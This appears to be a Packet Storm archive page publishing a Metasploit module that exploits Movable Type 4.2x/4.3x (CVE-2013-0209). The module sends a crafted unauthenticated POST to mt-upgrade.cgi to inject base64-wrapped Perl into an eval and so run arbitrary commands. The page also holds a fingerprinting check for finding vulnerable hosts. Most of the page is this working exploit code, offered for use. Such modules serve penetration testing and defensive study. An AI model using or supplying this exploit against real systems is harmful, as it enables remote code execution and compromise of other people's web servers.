what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Movable Type 4.2x / 4.3x Web Upgrade Remote Code Execution

Movable Type 4.2x / 4.3x Web Upgrade Remote Code Execution
Posted Jan 25, 2013
Authored by Gary O'Leary-Steele, Nick Blundell, Kacper Nowak | Site metasploit.com

This Metasploit module can be used to execute a payload on MoveableType (MT) that exposes a CGI script, mt-upgrade.cgi (usually at /mt/mt-upgrade.cgi), that is used during installation and updating of the platform. This allows for code injection.

tags | exploit, cgi
advisories | CVE-2012-6315, CVE-2013-0209
SHA-256 | 9f1569dcdb5b14c9f7ccc437f947a2040582d389fc39d6d3e38a34b0a7f83d25

Movable Type 4.2x / 4.3x Web Upgrade Remote Code Execution

Change Mirror Download
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'

class Metasploit4 < Msf::Exploit::Remote

include Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'Movable Type 4.2x, 4.3x Web Upgrade Remote Code Execution',
'Description' => %q{
This module can be used to execute a payload on MoveableType (MT) that
exposes a CGI script, mt-upgrade.cgi (usually at /mt/mt-upgrade.cgi),
that is used during installation and updating of the platform.
The vulnerability arises due to the following properties:
1. This script may be invoked remotely without requiring authentication
to any MT instance.
2. Through a crafted POST request, it is possible to invoke particular
database migration functions (i.e functions that bring the existing
database up-to-date with an updated codebase) by name and with
particular parameters.
3. A particular migration function, core_drop_meta_for_table, allows
a class parameter to be set which is used directly in a perl eval
statement, allowing perl code injection.
},
'Author' =>
[
'Kacper Nowak',
'Nick Blundell',
'Gary O\'Leary-Steele'
],
'References' =>
[
['CVE', '2012-6315'], # superseded by CVE-2013-0209 (duplicate)
['CVE', '2013-0209'],
['URL', 'http://www.sec-1.com/blog/?p=402'],
['URL', 'http://www.movabletype.org/2013/01/movable_type_438_patch.html']
],
'Arch' => ARCH_CMD,
'Payload' =>
{
'Compat' =>
{
'PayloadType' => 'cmd'
}
},
'Platform' =>
[
'win',
'unix'
],
'Targets' =>
[
['Movable Type 4.2x, 4.3x', {}]
],
'Privileged' => false,
'DisclosureDate' => "Jan 07 2013",
'DefaultTarget' => 0))

register_options(
[
OptString.new('TARGETURI', [true, 'The URI path of the Movable Type installation', '/mt'])
], self.class)
end

def check
@peer = "#{rhost}:#{rport}"
fingerprint = rand_text_alpha(5)
print_status("#{@peer} - Sending check...")
begin
res = http_send_raw(fingerprint)
rescue Rex::ConnectionError
return Exploit::CheckCode::Unknown
end
if (res)
if (res.code == 200 and res.body =~ /Can't locate object method \\"dbi_driver\\" via package \\"#{fingerprint}\\" at/)
return Exploit::CheckCode::Vulnerable
elsif (res.code != 200)
return Exploit::CheckCode::Unknown
else
return Exploit::CheckCode::Safe
end
else
return Exploit::CheckCode::Unknown
end
end

def exploit
@peer = "#{rhost}:#{rport}"
print_status("#{@peer} - Sending payload...")
http_send_cmd(payload.encoded)
end

def http_send_raw(cmd)
path = normalize_uri(target_uri.path) + '/mt-upgrade.cgi'
pay = cmd.gsub('\\', '\\\\').gsub('"', '\"')
send_request_cgi(
{
'uri' => path,
'method' => 'POST',
'vars_post' =>
{
'__mode' => 'run_actions',
'installing' => '1',
'steps' => %{[["core_drop_meta_for_table","class","#{pay}"]]}
}
})
end

def http_send_cmd(cmd)
pay = 'v0;use MIME::Base64;system(decode_base64(q('
pay << Rex::Text.encode_base64(cmd)
pay << ')));return 0'
http_send_raw(pay)
end
end
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close